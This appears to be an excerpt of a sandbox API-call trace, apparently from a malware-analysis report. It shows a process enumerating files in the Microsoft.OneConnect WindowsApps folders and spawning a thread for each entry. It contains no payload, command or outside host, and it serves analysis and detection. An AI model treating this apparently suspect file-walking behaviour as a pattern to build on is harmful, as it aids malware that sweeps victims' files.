	[0079.732] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477d2b0
	[0079.732] wcscpy (in: _Dest=0x477d2b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe"
	[0079.732] wcscat (in: _Dest=0x477d2b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\"
	[0079.732] wcscat (in: _Dest=0x477d2b0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0093.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd80
	[0093.602] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2e164a8 | out: lpFindFileData=0x2e164a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f76a4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xafbae931, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4f76a4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0093.602] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0093.602] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0093.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47185c0
	[0093.602] wcscpy (in: _Dest=0x47185c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe"
	[0093.602] wcscat (in: _Dest=0x47185c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\"
	[0093.602] wcscat (in: _Dest=0x47185c0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0093.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47185c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd7c
	[0093.603] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2e164a8 | out: lpFindFileData=0x2e164a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x543b5b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x543b5b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x543b5b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0093.603] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0093.603] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0093.603] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e446e0
	[0093.603] wcscpy (in: _Dest=0x2e446e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe"
	[0093.603] wcscat (in: _Dest=0x2e446e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\"
	[0093.603] wcscat (in: _Dest=0x2e446e0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0093.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e446e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1300
	[0093.603] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2e164a8 | out: lpFindFileData=0x2e164a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd45db281, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0093.603] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0093.603] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0093.604] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4776760
	[0093.604] wcscpy (in: _Dest=0x4776760, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe"
	[0093.604] wcscat (in: _Dest=0x4776760, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\"
	[0093.604] wcscat (in: _Dest=0x4776760, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0093.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4776760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1110
	[0093.604] FindNextFileW (in: hFindFile=0x2d71280, lpFindFileData=0x2e164a8 | out: lpFindFileData=0x2e164a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd45db281, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0093.604] FindClose (in: hFindFile=0x2d71280 | out: hFindFile=0x2d71280) returned 1
	[0093.605] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e164a8) returned 1
	[0093.605] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a7a8) returned 1
	[0093.605] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddbe90) returned 1

Thread:
	id = 829
	os_tid = 0x12e4

	[0079.733] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d5d778
	[0079.733] wcscpy (in: _Dest=0x2d5d778, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe"
	[0079.733] wcscat (in: _Dest=0x2d5d778, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\"
	[0079.733] wcscat (in: _Dest=0x2d5d778, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\*"
	[0079.733] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e16710
	[0079.733] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16dc6f6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d712c0
	[0079.734] wcscmp (_String1=".", _String2=".") returned 0
	[0079.734] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16dc6f6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.734] wcscmp (_String1="..", _String2=".") returned 1
	[0079.734] wcscmp (_String1="..", _String2="..") returned 0
	[0079.734] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16dc6f6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x16dc6f6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x16dc6f6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3cef, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.735] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.735] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47c91d0
	[0079.735] wcscpy (in: _Dest=0x47c91d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe"
	[0079.735] wcscat (in: _Dest=0x47c91d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\"
	[0079.735] wcscat (in: _Dest=0x47c91d0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0093.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47c91d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1304
	[0093.591] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16dc6f6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x16dc6f6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x16dc6f6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x10f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0093.591] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0093.591] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0093.591] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4718350
	[0093.591] wcscpy (in: _Dest=0x4718350, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe"
	[0093.591] wcscat (in: _Dest=0x4718350, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\"
	[0093.591] wcscat (in: _Dest=0x4718350, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0093.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4718350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1130
	[0093.592] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x170294f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xafbb05d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x170294f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0093.592] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0093.592] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0093.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4926328
	[0093.592] wcscpy (in: _Dest=0x4926328, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe"
	[0093.592] wcscat (in: _Dest=0x4926328, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\"
	[0093.592] wcscat (in: _Dest=0x4926328, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0093.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4926328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x112c
	[0093.593] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16dc6f6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x170294f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x170294f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2995, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0093.593] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0093.593] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0093.593] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47184f0
	[0093.593] wcscpy (in: _Dest=0x47184f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe"
	[0093.593] wcscat (in: _Dest=0x47184f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\"
	[0093.593] wcscat (in: _Dest=0x47184f0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0093.594] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47184f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1128
	[0093.594] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x170294f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xafbf828d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1b3b5a8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0093.594] wcscmp (_String1="Assets", _String2=".") returned 1
	[0093.594] wcscmp (_String1="Assets", _String2="..") returned 1
	[0093.594] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4f2cc60
	[0093.594] wcscpy (in: _Dest=0x4f2cc60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe"
	[0093.594] wcscat (in: _Dest=0x4f2cc60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\"
	[0093.594] wcscat (in: _Dest=0x4f2cc60, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\Assets"
	[0093.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2cc60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1124
	[0093.595] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61806, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1b61806, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1b61806, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x0, dwReserved1=0x0, cFileName="BuildInfo.xml", cAlternateFileName="")) returned 1
	[0093.595] wcscmp (_String1="BuildInfo.xml", _String2=".") returned 1
	[0093.595] wcscmp (_String1="BuildInfo.xml", _String2="..") returned 1
	[0093.595] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4926648
	[0093.595] wcscpy (in: _Dest=0x4926648, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe"
	[0093.595] wcscat (in: _Dest=0x4926648, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\"
	[0093.595] wcscat (in: _Dest=0x4926648, _Source="BuildInfo.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\BuildInfo.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\BuildInfo.xml"
	[0093.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4926648, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1120
	[0093.596] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61806, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1bd3f17, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1bd3f17, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0093.596] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0093.596] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0093.596] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd45db281, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd5bf8796, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5bf8796, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0093.596] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0093.596] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0093.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491e618
	[0093.596] wcscpy (in: _Dest=0x491e618, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe"
	[0093.596] wcscat (in: _Dest=0x491e618, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\"
	[0093.596] wcscat (in: _Dest=0x491e618, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0093.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x491e618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x111c
	[0093.597] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bd3f17, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1bfa170, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1bfa170, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeProxies.dll", cAlternateFileName="")) returned 1
	[0093.597] wcscmp (_String1="NativeProxies.dll", _String2=".") returned 1
	[0093.597] wcscmp (_String1="NativeProxies.dll", _String2="..") returned 1
